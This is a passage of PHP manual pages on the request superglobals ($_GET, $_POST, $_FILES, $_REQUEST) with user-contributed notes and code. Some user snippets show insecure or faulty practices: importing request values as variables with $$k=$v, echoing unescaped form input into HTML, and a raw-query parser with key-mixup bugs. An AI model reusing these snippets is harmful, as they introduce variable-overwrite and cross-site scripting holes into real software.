    //result will be "http://www.example.net/index.php?getVar2=10"
?>
Daniel M 14-Jan-2011 04:35
If you need to find out whether any GET variables have been specified, you can use the empty() function.

<?php

if(empty($_GET))
    echo "No GET variables";
else
    print_r($_GET);

?>

empty() - http://php.net/manual/en/function.empty.php
print_r() - http://php.net/manual/en/function.print-r.php
chris at bjelleklang dot org 18-Dec-2010 02:40
Please note that PHP setups with the suhosin patch installed will have a default limit of 512 characters for get parameters. Although bad practice, most browsers (including IE) supports URLs up to around 2000 characters, while Apache has a default of 8000.

To add support for long parameters with suhosin, add
suhosin.get.max_value_length = <limit> in php.ini
John Galt 14-Jun-2010 05:57
Just a note, because I didn't know for sure until I tested it.

If you have a query string that contains a parameter but no value (not even an equals sign), like so:
http://path/to/script.php?a

The following script is a good test to determine how a is valued:
<pre>
<?php
 print_r($_GET);
 if($_GET["a"] === "") echo "a is an empty string\n";
 if($_GET["a"] === false) echo "a is false\n";
 if($_GET["a"] === null) echo "a is null\n";
 if(isset($_GET["a"])) echo "a is set\n";
 if(!empty($_GET["a"])) echo "a is not empty";
?>
</pre>

I tested this with script.php?a, and it returned:

a is an empty string
a is set

So note that a parameter with no value associated with, even without an equals sign, is considered to be an empty string (""), isset() returns true for it, and it is considered empty, but not false or null. Seems obvious after the first test, but I just had to make sure.

Of course, if I do not include it in my browser query, the script returns
Array
(
)
a is null
Alberto Lepe dev at alepe dot com 04-Oct-2009 09:23
This Function will help you to manage your GET parameters to facilitate coding and prevent duplication. This is a basic version but it can be easily extended.

<?php
   // Author: Alberto Lepe (www.alepe.com)
    /* Process $_GET to preserve user custom parameters
     * the arguments is a list of URL parameters that should be removed/changed from URL
     * for example:
     *
     * URL = "index.php?s=1&fi=2&m=4&p=3
     *
     * if called: fixGet("s"); the result has to be: ?fi=2&m=4&p=3
     * if called: fixGet("s&m"); the result has to be: ?fi=2&p=3
     * if called: fixGet("s=4"); the result has to be: ?s=4&fi=2&m=4&p=3
     * if called: fixGet("s=2&m"); the result has to be: ?s=2&fi=2&p=3
     * if called: fixGet("s=&m=3"); the result has to be: ?s=&fi=2&m=3&p=3
     * if called: fixGet("s=2&m="); the result has to be: ?s=2&fi=2&m=&p=3
     * Special: when it ends with a =":" its to leave it open at the end
     * (just first occurrence) to facilitate concatenation:
     * if called: fixGet("s=2&m:"); the result has to be: ?s=2&fi=2&p=3&m
     * if called: fixGet("s=2&m:="); the result has to be: ?s=2&fi=2&p=3&m=
     *
     * Usage with HTML (using the URL example above and $id = 99):
     *
     * <a href="index.php<?php echo fixGet('m=2&s&fi:=').$id ?>" >Link</a>
     * Explanation: change "m" to 2, delete "s" and "fi" gets the $id value. ("p" is kept as it is not specified)
     * will output: <a href='index.php?m=2&p=3&fi=99'>Link</a>
     */
    public function fixGet($args) {
        if(count($_GET) > 0) {
            if(!empty($args)) {
                $lastkey = "";
                $pairs = explode("&",$args);
                foreach($pairs as $pair) {
                    if(strpos($pair,":") !== false) {
                        list($key,$value) = explode(":",$pair);
                        unset($_GET[$key]);
                        $lastkey = "&$key$value";
                    } elseif(strpos($pair,"=") === false)
                        unset($_GET[$pair]);

                    else {
                        list($key, $value) = explode("=",$pair);
                        $_GET[$key] = $value;
                    }
                }
            }
            return "?".((count($_GET) > 0)?http_build_query($_GET).$lastkey:"");
        }
?>

To test, copy+paste the following code into testFixGet.php

<?php
/*
 * Unit Test for fixGet()
 */
$cases = array (
    0 => array("s" => 1, "fi" => 2, "m" => 4, "p" => 3),
    1 => array("s" => "", "fi" => "", "m" => 4, "p" => 3),
);

$test[0] = array(
    "s" => "fi=2&m=4&p=3",
    "s&m" => "fi=2&p=3",
    "s=4" => "s=4&fi=2&m=4&p=3",
    "s=2&m" => "s=2&fi=2&p=3",
    "s=&m=3" => "s=&fi=2&m=3&p=3",
    "s=2&m=" => "s=2&fi=2&m=&p=3",
    "s=2&m:=" => "s=2&fi=2&p=3&m=",
    "z=9" => "s=1&fi=2&m=4&p=3&z=9",
    "z:" => "s=1&fi=2&m=4&p=3&z",
    "s:&m=3" => "fi=2&m=3&p=3&s",
    "s&m=3" => "fi=2&m=3&p=3",
);
$test[1] = array(
    "s" => "fi=&m=4&p=3",
    "s&m" => "fi=&p=3",
    "s=4" => "s=4&fi=&m=4&p=3",
    "s=2&m" => "s=2&fi=&p=3",
    "s=&m=3" => "s=&fi=&m=3&p=3",
    "s=2&m=" => "s=2&fi=&m=&p=3",
    "s=2&m:=" => "s=2&fi=&p=3&m=",
    "z=9" => "s=&fi=&m=4&p=3&z=9",
    "z:" => "s=&fi=&m=4&p=3&z",
);

foreach($cases as $x => $value) {
    echo "<hr> CASE: $x <hr>\n";
    foreach($test[$x] as $arg => $expected) {
        $_GET = $cases[$x];
        $res = myForm::fixGet($arg);
        echo (($res === "?".$expected)?"OK":"NG ($res)")." [$arg]<br>\n";
    }
}
?>
robotreply at gmail dot com 24-Jul-2009 12:17
Parsing of GET/POST drops duplicate variables unless those variables have "[]" (PHP bugs #10502, #15498 and #16195). Adding "[]" makes a mess of your javascript code, so here is a small workaround to it.

This function basically scans your raw POST and GET input and tries to fix the same. This function must be called near the top of your script. Optimizations are welcome.

<?php
    function php_fix_raw_query() {
        $post = '';

        // Try globals array
        if (!$post && isset($_GLOBALS) && isset($_GLOBALS["HTTP_RAW_POST_DATA"]))
            $post = $_GLOBALS["HTTP_RAW_POST_DATA"];

        // Try globals variable
        if (!$post && isset($HTTP_RAW_POST_DATA))
            $post = $HTTP_RAW_POST_DATA;

        // Try stream
        if (!$post) {
            if (!function_exists('file_get_contents')) {
                $fp = fopen("php://input", "r");
                if ($fp) {
                    $post = '';

                    while (!feof($fp))
                    $post = fread($fp, 1024);

                    fclose($fp);
                }
            } else {
                $post = "" . file_get_contents("php://input");
            }
        }

        $raw = !empty($_SERVER['QUERY_STRING']) ? sprintf('%s&%s', $_SERVER['QUERY_STRING'], $post) : $post;

        $arr = array();
        $pairs = explode('&', $raw);

        foreach ($pairs as $i) {
            if (!empty($i)) {
                list($name, $value) = explode('=', $i, 2);

                if (isset($arr[$name]) ) {
                    if (is_array($arr[$name]) ) {
                        $arr[$name][] = $value;
                    } else {
                        $arr[$name] = array($arr[$name], $value);
                    }
                } else {
                    $arr[$name] = $value;
                }
            }
        }

        foreach ( $_POST as $key => $value ) {
            if (is_array($arr[$key]) ) {
                $_POST[$key] = $arr[$name];
                $_REQUEST[$key] = $arr[$name];
            }
        }

        foreach ( $_GET as $key => $value ) {
            if (is_array($arr[$key]) ) {
                $_GET[$key] = $arr[$name];
                $_REQUEST[$key] = $arr[$name];
            }
        }

    # optionally return result array
        return $arr;
    }

?>
slavik0329 19-Mar-2009 07:01
the addget function below actually has more use when you dont use the recursive merge as such:

<?php

function AddGet($ArrayOrString){
if(is_array($ArrayOrString))
return http_build_query(array_merge($GLOBALS['_GET'], $ArrayOrString));
parse_str($ArrayOrString, $output);
return http_build_query(array_merge($GLOBALS['_GET'], $output));
}

?>

In this case, if the key is added again with a different value it will be replaced with the new value.

addget("change=true"); // ?change=true
addget("change=false"); // ?change=false
admin at bordeux dot net 29-Jan-2009 12:03
<?php
function AddGet($ArrayOrString){
if(is_array($ArrayOrString))
return http_build_query(array_merge_recursive($GLOBALS['_GET'], $ArrayOrString));
parse_str($ArrayOrString, $output);
return http_build_query(array_merge_recursive($GLOBALS['_GET'], $output));
}
?>
<a href="index.php?<?php echo AddGet(array("change"=>true,"jump"=>"42m"));?>">URL</a>
<a href="index.php?<?php echo AddGet("change=true&jump=42m");?>">URL</a>

Assuming the user entered http://example.com/?name=Hannes
The above example will output something similar to:
<a href="index.php?name=Hannes&change=1&jump=42m">URL</a>
<a href="index.php?name=Hannes&change=true&jump=42m">URL</a>
hmaloney at contactpoint dot com dot au 18-Sep-2008 04:38
This code is really useful for reproducing the values in the $_GET variable, and attaching that to a $_SERVER['PHP_SELF'] value when building the action value of a form tag, so that you don't lose any other values that could have been passed:

foreach ($_GET as $key => $value) {
            if ($key != "C") {  // ignore this particular $_GET value
                $querystring .= $key."=".$value;
            }
}
RJ Regalado 17-Jun-2008 07:57
Use this code if you want to retrieve your queries no matter what method is used. Hope it helps.

<?php
// By: RJ Regalado
// http://rjfiles.uni.cc/~php_examples/?id=1

$name = trim ((!empty($_POST['name'])) ? $_POST['name'] : $_GET['name'] );

if ( strlen ($name) < 1)
{
    echo "Please enter your name";
} else {
    printf ("Hello <b>%s</b><br>", $name);
    printf ("Bonjour <b>%s</b><br>", $name);
    printf ("Hallo <b>%s</b><br>", $name);
    printf ("Ciao <b>%s</b><br>", $name);
    printf ("Hola <b>%s</b><br>", $name);
}
?><hr>
<form method="POST">
    Name: <input type="text" name="name">
    <input type="submit" value="POST">
</form><hr>
<form method="GET">
    Name: <input type="text" name="name">
    <input type="submit" value="GET">
</form>
timberspine _AT_ gmail _DOT_ com 14-May-2008 04:38
Note that named anchors are not part of the query string and are never submitted by the browser to the server.

Eg.
http://www.xyz-abc.kz/index.php?title=apocalypse.php#doom

echo $_GET['title'];

// returns "apocalypse.php" and NOT "apocalypse.php#doom"

you would be better off treating the named anchor as another query string variable like so:
http://www.xyz-abc.kz/index.php?title=apocalypse.php&na=doom

...and then retrieve it using something like this:
$url = $_GET['title']."#".$_GET['na'];

Hope this helps someone...
niwil at djes dot dk 14-May-2008 06:00
Note:
If nothing is set in the address bar, the value of $_GET['n'] will be NULL, not ""(empty string) or false.
$_SERVER
$_POST
Predefined Variables


HTTP POST variables

$_GET
$_FILES
Predefined Variables
PHP Manual

$_POST

$HTTP_POST_VARS [deprecated]

(PHP 4 >= 4.1.0, PHP 5)

$_POST -- $HTTP_POST_VARS [deprecated] — HTTP POST variables

Description

An associative array of variables passed to the current script via the HTTP POST method.

$HTTP_POST_VARS contains the same initial information, but is not a superglobal. (Note that $HTTP_POST_VARS and $_POST are different variables and that PHP handles them as such)

Changelog

Version | Description
4.1.0 | Introduced $_POST that deprecated $HTTP_POST_VARS.

Examples

Example #1 $_POST example

<?php
echo 'Hello ' . htmlspecialchars($_POST["name"]) . '!';
?>

Assuming the user POSTed name=Hannes

The above example will output something similar to:

Hello Hannes!

Notes

Note:

This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods.

See Also

  • Handling external variables
  • The filter extension

User Contributed Notes

perdondiego at mailinator dot com 24-May-2011 01:05
In response to "php dot net at bigbadaboom dot net", adding the value attr to the image submit button may not work in older browser (Opera 9.x for example).

A better solution would be to add a hidden input (<input name="hidden" .... /> in the form to handle both cases: when we have a submit button or an image button for submitting
yesk13 at gmail dot com 21-Mar-2010 11:25
you may have multidimensional array in form inputs

HTML Example:

<input name="data[User][firstname]" type="text" />
<input name="data[User][lastname]" type="text" />
...

Inside php script
after submit you can access the individual element like so:

$firstname = $_POST['data']['User']['firstname'];
...
toader_alexandru at yahoo dot com 29-Jan-2010 07:06
When you have a form with some radio:
<?php
<form method='post'>
<input type='radio' name='55' value='1' >
<input type='radio' name='55' value='2' >
<input type='radio' name='55' value='3' >
<input type='radio' name='55' value='4' >

<input type='submit' value='ok' >
</form>

?>

if the name of the radio is a number will be returned by $_POST as INT!!!! not string as the manual says

if the name of the radio is 'test' will be of course returned ad string.

So your post array will look like this:
<?php
array
167302 => string '167308' (length=6)
167314 => string '167344' (length=6)
167347 => string '5867521' (length=7)
'3754952706' => string '3754952706' (length=10)
'3744466946' => string '3744466946' (length=10)
'3740271617' => string '3740271617' (length=10)
'3749709826' => string '3749709826' (length=10)
'3749708801' => string '1' (length=1)
'meta' =>
array
'hasJavascript' => string '0' (length=1)
'timeToComplete' => string '1264769572.6144' (length=15)
'Submit' => string 'Next' (length=4)

?>

Note the first 3 keys are int not string

This could affect you if you do some operations for example if you do an array_merge with your post values:

<?php
$arr1 = array(
167302 => '167308',
167314 => '167344',
167347 => '5867521',
'3754952706' => '3754952706',
'3744466946' => '3744466946',
'3740271617' => '3740271617',
'3749709826' => '3749709826',
'3749708801' => '1'
);

$arr2 = array(
'meta' =>
array (
'hasJavascript' => '0',
'timeToComplete' => '1264769572.6144'
)
);

?>

if you do :
<?php
$values = array_merge($arr1, $arr2);//this is done by zend in $form->getValues()
?>

guess what will be the result? your numeric keys will be reindexed starting from 0.

and your post values will look like this:

<?php

0 => string '167308' (length=6)
1 => string '167344' (length=6)
2 => string '5867521' (length=7)
'3754952706' => string '3754952706' (length=10)
'3744466946' => string '3744466946' (length=10)
'3740271617' => string '3740271617' (length=10)
'3749709826' => string '3749709826' (length=10)
'3749708801' => string '1' (length=1)
'meta' =>
array
'hasJavascript' => string '0' (length=1)
'timeToComplete' => string '1264769572.6144' (length=15)

?>
eddyvlad at eddyvlad dot com 24-Mar-2009 07:34
Take note that all $_POST values are (string).
If your form field should accept both numeric and alphabets but exclude a value of 0, you will have a problem.

<?php
## Using Equal operator
if($_POST['myfield'] == 0){
    echo 'You cannot set it to 0';
} else {
    echo 'Correct';
}
# You will get the following results

// $_POST['myfield'] = 0;
// Output: You cannot set it to 0;

// $_POST['myfield'] = 1;
// Output: Correct;

// $_POST['myfield'] = 'test';
// Output: You cannot set it to 0;

## Using Identical operator
if($_POST['myfield'] === 0){
    echo 'You cannot set it to 0';
} else {
    echo 'Correct';
}
# You will get the following results

// $_POST['myfield'] = 0;
// Output: Correct;

// $_POST['myfield'] = 1;
// Output: Correct;

// $_POST['myfield'] = 'test';
// Output: Correct;

// You need to convert numeric values to integer and use identical operator
$_POST['myfield'] = is_numeric($_POST['myfield']) ? (int)$_POST['myfield'] : $_POST['alias'];
if($_POST['myfield'] === 0){
    echo 'You cannot set it to 0';
} else {
    echo 'Correct';
}
# Now you will get the following results

// $_POST['myfield'] = 0;
// Output: You cannot set it to 0;

// $_POST['myfield'] = 1;
// Output: Correct;

// $_POST['myfield'] = 'test';
// Output: Correct;
?>
initself 23-Jan-2009 11:08
# This will convert $_POST into a query string

<?php
$query_string = "";
if ($_POST) {
  $kv = array();
  foreach ($_POST as $key => $value) {
    $kv[] = "$key=$value";
  }
  $query_string = join("&", $kv);
}
else {
  $query_string = $_SERVER['QUERY_STRING'];
}
echo $query_string;
?>
james dot ellis at gmail dot com 14-Dec-2008 05:38
One feature of PHP's processing of POST and GET variables is that it automatically decodes indexed form variable names.

I've seem innumerable projects that jump through extra & un-needed processing hoops to decode variables when PHP does it all for you:

Example pseudo code:

Many web sites do this:

<form ....>
<input name="person_0_first_name" value="john" />
<input name="person_0_last_name" value="smith" />
...

<input name="person_1_first_name" value="jane" />
<input name="person_1_last_name" value="jones" />
</form>

When they could do this:

<form ....>
<input name="person[0][first_name]" value="john" />
<input name="person[0][last_name]" value="smith" />
...
<input name="person[1][first_name]" value="jane" />
<input name="person[1][last_name]" value="jones" />
</form>

With the first example you'd have to do string parsing / regexes to get the correct values out so they can be married with other data in your app... whereas with the second example.. you will end up with something like:
<?php
var_dump($_POST['person']);
//will get you something like:
array (
0 => array('first_name'=>'john','last_name'=>'smith'),
1 => array('first_name'=>'jane','last_name'=>'jones'),
)
?>

This is invaluable when you want to link various posted form data to other hashes on the server side, when you need to store posted data in separate "compartment" arrays or when you want to link your POSTed data into different record handlers in various Frameworks.

Remember also that using [] as in index will cause a sequential numeric array to be created once the data is posted, so sometimes it's better to define your indexes explicitly.
paul at youngish dot homelinux^org 08-Dec-2008 01:09
For a page with multiple forms here is one way of processing the different POST values that you may receive.  This code is good for when you have distinct forms on a page.  Adding another form only requires an extra entry in the array and switch statements.

<?php

 if (!empty($_POST))
 {
    // Array of post values for each different form on your page.
    $postNameArr = array('F1_Submit', 'F2_Submit', 'F3_Submit');

    // Find all of the post identifiers within $_POST
    $postIdentifierArr = array();

    foreach ($postNameArr as $postName)
    {
        if (array_key_exists($postName, $_POST))
        {
             $postIdentifierArr[] = $postName;
        }
    }

    // Only one form should be submitted at a time so we should have one
    // post identifier.  The die statements here are pretty harsh you may consider
    // a warning rather than this.
    if (count($postIdentifierArr) != 1)
    {
        count($postIdentifierArr) < 1 or
            die("\$_POST contained more than one post identifier: " .
               implode(" ", $postIdentifierArr));

        // We have not died yet so we must have less than one.
        die("\$_POST did not contain a known post identifier.");
    }

    switch ($postIdentifierArr[0])
    {
    case 'F1_Submit':
       echo "Perform actual code for F1_Submit.";
       break;

    case 'Modify':
       echo "Perform actual code for F2_Submit.";
       break;

    case 'Delete':
       echo "Perform actual code for F3_Submit.";
       break;
    }
}
else // $_POST is empty.
{
    echo "Perform code for page without POST data. ";
}
?>
jairhumberto at gmail dot com 30-Jul-2008 06:26
<?php

foreach($_POST as $k=>$v) $$k=$v;
//to use $_POST["example"] as $example

foreach($_GET as $k=>$v) $$k=$v;
//to use $_GET["example"] as $example

//or better:

foreach(${"_" . $_SERVER["REQUEST_METHOD"]} as $k=>$v) $$k=$v;
//to use $_GET["example"] or $_POST["example"] as $example

?>
php dot net at bigbadaboom dot net 15-Jul-2008 01:06
Make sure your submit buttons (ie. <input type="submit"> etc) have a 'value' attribute.  If they don't, the value won't appear in $_POST and so isset($_POST["submit"]) won't work either.

Example:

<input type="submit" name="submit">

isset($_POST["submit"]) returns false

<input type="submit" name="submit" value="Next">

isset($_POST["submit"]) returns true.

This might seem obvious for text buttons since they need a label anyway.  However, if you are using image buttons, it might not occur to you that you need to set a value attribute as well.  For example, the value attribute is required in the following element if you want to be able to detect it in your script.

<input type="image" name="submit" src="next.gif" value="Next">
paul dot chubb at abs dot gov dot au 19-Jun-2008 04:49
Nasty bug in IE6, Apache2 and mod_auth_sspi. Essentially if the user presses the submit button too quickly, $_POST (and the equivalents) comes back empty. The workaround is to set Apache's KeepAliveTimeout to 1. This would mean that the user would need to push submit within a second to trigger the issue.
telconstar99 at hotnospampleasemail dot com 19-May-2008 05:49
<?
//If we submitted the form
if(isset($_POST['submitMe']))
{
     echo("Hello, " . $_POST['name'] . ", we submitted your form!");
}
//If we haven't submitted the form
else
{
?>
    <form action="<?=$_SERVER['PHP_SELF']?>" method="POST">
    <input type="text" name="name"><br>
    <input type="submit" value="submit" name="submitMe">
    </form>
<?
}
?>
$_GET
$_FILES
Predefined Variables


HTTP File Upload variables

$_POST
$_REQUEST
Predefined Variables
PHP Manual

$_FILES

$HTTP_POST_FILES [deprecated]

(PHP 4 >= 4.1.0, PHP 5)

$_FILES -- $HTTP_POST_FILES [deprecated] — HTTP File Upload variables

Description

An associative array of items uploaded to the current script via the HTTP POST method.

$HTTP_POST_FILES contains the same initial information, but is not a superglobal. (Note that $HTTP_POST_FILES and $_FILES are different variables and that PHP handles them as such)

Changelog

Version | Description
4.1.0 | Introduced $_FILES that deprecated $HTTP_POST_FILES.

Notes

Note:

This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods.

See Also

  • move_uploaded_file() - Moves an uploaded file to a new location
  • Handling File Uploads

User Contributed Notes

BigShark666 at gmail dot com 21-Nov-2011 10:51
Nontypicall array comes in php after the submission.I wrote a small function to restate it to the familiar look.
<?php
function multiple(array $_files, $top = TRUE)
{
    $files = array();
    foreach($_files as $name=>$file){
        if($top) $sub_name = $file['name'];
        else    $sub_name = $name;

        if(is_array($sub_name)){
            foreach(array_keys($sub_name) as $key){
                $files[$name][$key] = array(
                    'name'     => $file['name'][$key],
                    'type'     => $file['type'][$key],
                    'tmp_name' => $file['tmp_name'][$key],
                    'error'    => $file['error'][$key],
                    'size'     => $file['size'][$key],
                );
                $files[$name] = multiple($files[$name], FALSE);
            }
        }else{
            $files[$name] = $file;
        }
    }
    return $files;
}

print_r($_FILES);
/*
Array
(
    [image] => Array
        (
            [name] => Array
                (
                    [0] => 400.png
                )
            [type] => Array
                (
                    [0] => image/png
                )
            [tmp_name] => Array
                (
                    [0] => /tmp/php5Wx0aJ
                )
            [error] => Array
                (
                    [0] => 0
                )
            [size] => Array
                (
                    [0] => 15726
                )
        )
)
*/
$files = multiple($_FILES);
print_r($files);
/*
Array
(
    [image] => Array
        (
            [0] => Array
                (
                    [name] => 400.png
                    [type] => image/png
                    [tmp_name] => /tmp/php5Wx0aJ
                    [error] => 0
                    [size] => 15726
                )
        )
)
*/
?>
kbolyshev at gmail dot com 18-Nov-2011 04:39
For situation download[file1], download[file2], ..., download[fileN], try it:

<?php

/**
 *
 * @param array     $arrayForFill
 * @param string    $currentKey
 * @param mixed     $currentMixedValue
 * @param string    $fileDescriptionParam (name, type, tmp_name, error или size)
 * @return void
 */
function rRestructuringFilesArray(&$arrayForFill, $currentKey, $currentMixedValue, $fileDescriptionParam)
{
    if (is_array($currentMixedValue)) {
        foreach ($currentMixedValue as $nameKey => $mixedValue) {
            rRestructuringFilesArray($arrayForFill[$currentKey],
                                     $nameKey,
                                     $mixedValue,
                                     $fileDescriptionParam);
        }
    } else {
        $arrayForFill[$currentKey][$fileDescriptionParam] = $currentMixedValue;
    }
}

$arrayForFill = array();
foreach ($_FILES as $firstNameKey => $arFileDescriptions) {
    foreach ($arFileDescriptions as $fileDescriptionParam => $mixedValue) {
        rRestructuringFilesArray($arrayForFill,
                                 $firstNameKey,
                                 $_FILES[$firstNameKey][$fileDescriptionParam],
                                 $fileDescriptionParam);
    }
}
$_FILES = $arrayForFill;
?>
unca dot alby at gmail dot com 02-Sep-2011 01:31
In checking the error code, you probably ought to check for code 4.  I believe Code 4 means no file was uploaded, and there are many instances where that's perfectly OK.

Such as when you have a form with multiple data items, including file and image uploads, plus whatever else.  The user might not be adding a new upload for whatever reason, such as there may already be a file in the system from an earlier update, and the user is satisfied with that.
Sbastien 13-Jun-2011 07:36
If you're uploading multiple files and you name your file inputs "upload[]" the $_FILES array will look different than the var_dump posted below. I figured I'd post what it looks like since it caused me (and still causes me) headaches!

array(1) {
    ["upload"]=>array(5) {
        ["name"]=>array(3) {
            [0]=>string(9)"file0.txt"
            [1]=>string(9)"file1.txt"
            [2]=>string(9)"file2.txt"
        }
        ["type"]=>array(3) {
            [0]=>string(10)"text/plain"
            [1]=>string(10)"text/plain"
            [2]=>string(10)"text/plain"
        }
        ["tmp_name"]=>array(3) {
            [0]=>string(14)"/tmp/blablabla"
            [1]=>string(14)"/tmp/phpyzZxta"
            [2]=>string(14)"/tmp/phpn3nopO"
        }
        ["error"]=>array(3) {
            [0]=>int(0)
            [1]=>int(0)
            [2]=>int(0)
        }
        ["size"]=>array(3) {
            [0]=>int(0)
            [1]=>int(0)
            [2]=>int(0)
        }
    }
}

(I thought the array would have looked like upload[index][name] which is not the case.)
Anonymous 26-Apr-2011 02:48
Having url rewrite patterns in .htaccess file which modify your urls can affect $_FILES sometimes. Even though the php page loads and works fine, this variable may not work because of it. Therefore if you rewrite 'www.example.com' to 'example.com', make sure you use the latter one when sending POST to the php page. I'm still not sure why this happens, but its worth noting here so others don't spend time chasing ghosts.
Anonymous 18-Apr-2011 06:23
As mentioned , you should check the error index of the upload.

Example below suggests you have a file field named 'image'.

<?php

        if($_FILES['image']['error'] == 0){
            // success - move uploaded file and process stuff here

        }else{
            // 'there was an error uploading file' stuff here....
        }
?>
John 03-Feb-2011 06:14
In the past you could unconditionally call $_FILES['profile_pic'] without ever having to worry about PHP spitting an "Undefined index: profile_pic" error (so long as the page posting had a file input on it (e.g. <input type="file" name="profile_pic" />)). This was the case regardless of whether or not the end user actually uploaded a file. These days, with so many people browsing the web via iPads, you have to explicitly check to see if the input isset($_FILES['profile_pic']) before calling into it, else you'll get the aforementioned error message. This is because iOS devices running Safari disable file inputs thereby causing them to be treated as if they don't exist. Time to update your scripts!

-john
mwgamera at gmail dot com 13-Aug-2009 05:40
To determine whether upload was successful you should check for error being UPLOAD_ERR_OK instead of checking the file size. When nothing is chosen to be uploaded, the key in $_FILES will still be there, but it should have error equal UPLOAD_ERR_NO_FILE.
calurion at gmail dot com 29-Jun-2009 04:51
For some reason when I tried to check if $_FILES['myVarName'] was empty() or !isset() or array_key_exists(), it always came back that the file was indeed in the superglobal, even when nothing was uploaded.

I wonder if this is a result of enctype="multipart/form-data".

Anyways, I solved my issue by checking to make sure that $_FILES['myVarName']['size'] > 0
Sam 21-May-2009 07:08
This is REQUIRED by the xhtml specs.
dewi at dewimorgan dot com 18-Mar-2009 10:35
The format of this array is (assuming your form has two input type=file fields named "file1", "file2", etc):

Array
(
    [file1] => Array
        (
            [name] => MyFile.txt (comes from the browser, so treat as tainted)
            [type] => text/plain  (not sure where it gets this from - assume the browser, so treat as tainted)
            [tmp_name] => /tmp/php/php1h4j1o (could be anywhere on your system, depending on your config settings, but the user has no control, so this isn't tainted)
            [error] => UPLOAD_ERR_OK  (= 0)
            [size] => 123   (the size in bytes)
        )

    [file2] => Array
        (
            [name] => MyFile.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/php/php6hst32
            [error] => UPLOAD_ERR_OK
            [size] => 98174
        )
)

Last I checked (a while ago now admittedly), if you use array parameters in your forms (that is, form names ending in square brackets, like several file fields called "download[file1]", "download[file2]" etc), then the array format becomes... interesting.

Array
(
    [download] => Array
        (
            [name] => Array
                (
                    [file1] => MyFile.txt
                    [file2] => MyFile.jpg
                )

            [type] => Array
                (
                    [file1] => text/plain
                    [file2] => image/jpeg
                )

            [tmp_name] => Array
                (
                    [file1] => /tmp/php/php1h4j1o
                    [file2] => /tmp/php/php6hst32
                )

            [error] => Array
                (
                    [file1] => UPLOAD_ERR_OK
                    [file2] => UPLOAD_ERR_OK
                )

            [size] => Array
                (
                    [file1] => 123
                    [file2] => 98174
                )
        )
)

So you'd need to access the error param of file1 as, eg $_Files['download']['error']['file1']
andrewpunch at bigfoot dot com 17-Jan-2009 12:16
If $_FILES is empty, even when uploading, try adding enctype="multipart/form-data" to the form tag and make sure you have file uploads turned on.
$_POST
$_REQUEST
Predefined Variables


HTTP Request variables

$_FILES
$_SESSION
Predefined Variables
PHP Manual

$_REQUEST

(PHP 4 >= 4.1.0, PHP 5)

$_REQUEST — HTTP Request variables

Description

An associative array that by default contains the contents of $_GET, $_POST and $_COOKIE.

Changelog

Version | Description
5.3.0 | Introduced request_order. This directive affects the contents of $_REQUEST.
4.3.0 | $_FILES information was removed from $_REQUEST.
4.1.0 | Introduced $_REQUEST.

Notes

Note:

This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods.

Note:

When running on the command line , this will not include the argv and argc entries; these are present in the $_SERVER array.

Note:

The variables in $_REQUEST are provided to the script via the GET, POST, and COOKIE input mechanisms and therefore could be modified by the remote user and cannot be trusted. The presence and order of variables listed in this array is defined according to the PHP variables_order configuration directive.

See Also

  • import_request_variables() - Import GET/POST/Cookie variables into the global scope
  • Handling external variables
  • The filter extension

User Contributed Notes

rm at km-it dot de 23-Jan-2012 03:46
Note that the default distribution php.ini files does not contain the 'C' for cookies, due to security concerns.
See http://http://php.net/manual/en/ini.core.php#ini.request-order
mike o. 11-Mar-2010 04:31
The default php.ini on your system as of in PHP 5.3.0 may exclude cookies from $_REQUEST.  The request_order ini directive specifies what goes in the $_REQUEST array; if that does not exist, then the variables_order directive does.  Your distribution's php.ini may exclude cookies by default, so beware.
John Galt 06-Dec-2009 05:36
I wrote a function because I found it inconvenient if I needed to change a particular parameter (get) while preserving the others. For example, I want to make a hyperlink on a web page with the URL http://www.example.com/script.php?id=1&blah=blah+blah&page=1 and change the value of "page" to 2 without getting rid of the other parameters.

<?php
 function add_or_change_parameter($parameter, $value)
 {
  $params = array();
  $output = "?";
  $firstRun = true;
  foreach($_GET as $key=>$val)
  {
   if($key != $parameter)
   {
    if(!$firstRun)
    {
     $output .= "&";
    }
    else
    {
     $firstRun = false;
    }
    $output .= $key."=".urlencode($val);
   }
  }
  if(!$firstRun)
   $output .= "&";
  $output .= $parameter."=".urlencode($value);
  return htmlentities($output);
 }
?>

Now, I can add a hyperlink to the page (http://www.example.com/script.php?id=1&blah=blah+blah&page=1) like this:
<a href="<?php echo add_or_change_parameter("page", "2"); ?>">Click to go to page 2</a>

The above code will output
<a href="?id=1&amp;blah=blah+blah&amp;page=2">Click to go to page 2</a>

Also, if I was setting "page" to a string rather than just "2", the value would be urlencode()'d.
<a href="<?php echo add_or_change_parameter("page", "banana+split!"); ?>">Click to go to page banana split!</a>
would become
<a href="?id=1&amp;blah=blah+blah&amp;page=banana+split%21">Click to go to page banana split!</a>

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by (theogony AT gmail DOT com), which adds missing `echo` instructions to the HREF tags.]
smjg at iname dot com 13-Aug-2009 03:56
Selecting $_GET or $_POST depending on the request method isn't a general solution, since it's possible for an HTTP request to have both posted content and a query string in the URI.

If you want to allow for this possibility, you can use
<?php
$req = array_merge($_GET, $_POST);
?>
or vice versa, depending on which you want to be used in the event of a clash between them.
strata_ranger at hotmail dot com 17-Jul-2008 08:04
Don't forget, because $_REQUEST is a different variable than $_GET and $_POST, it is treated as such in PHP -- modifying $_GET or $_POST elements at runtime will not affect the ellements in $_REQUEST, nor vice versa.

e.g:

<?php

$_GET['foo'] = 'a';
$_POST['bar'] = 'b';
var_dump($_GET); // Element 'foo' is string(1) "a"
var_dump($_POST); // Element 'bar' is string(1) "b"
var_dump($_REQUEST); // Does not contain elements 'foo' or 'bar'

?>

If you want to evaluate $_GET and $_POST variables by a single token without including $_COOKIE in the mix, use  $_SERVER['REQUEST_METHOD'] to identify the method used and set up a switch block accordingly, e.g:

<?php

switch($_SERVER['REQUEST_METHOD'])
{
case 'GET': $the_request = &$_GET; break;
case 'POST': $the_request = &$_POST; break;
.
. // Etc.
.
default:
}
?>
$_FILES
$_SESSION
Predefined Variables


Session variables

$_REQUEST
$_ENV
Predefined Variables
PHP Manual

$_SESSION

$HTTP_SESSION_VARS [deprecated]

(PHP 4 >= 4.1.0, PHP 5)

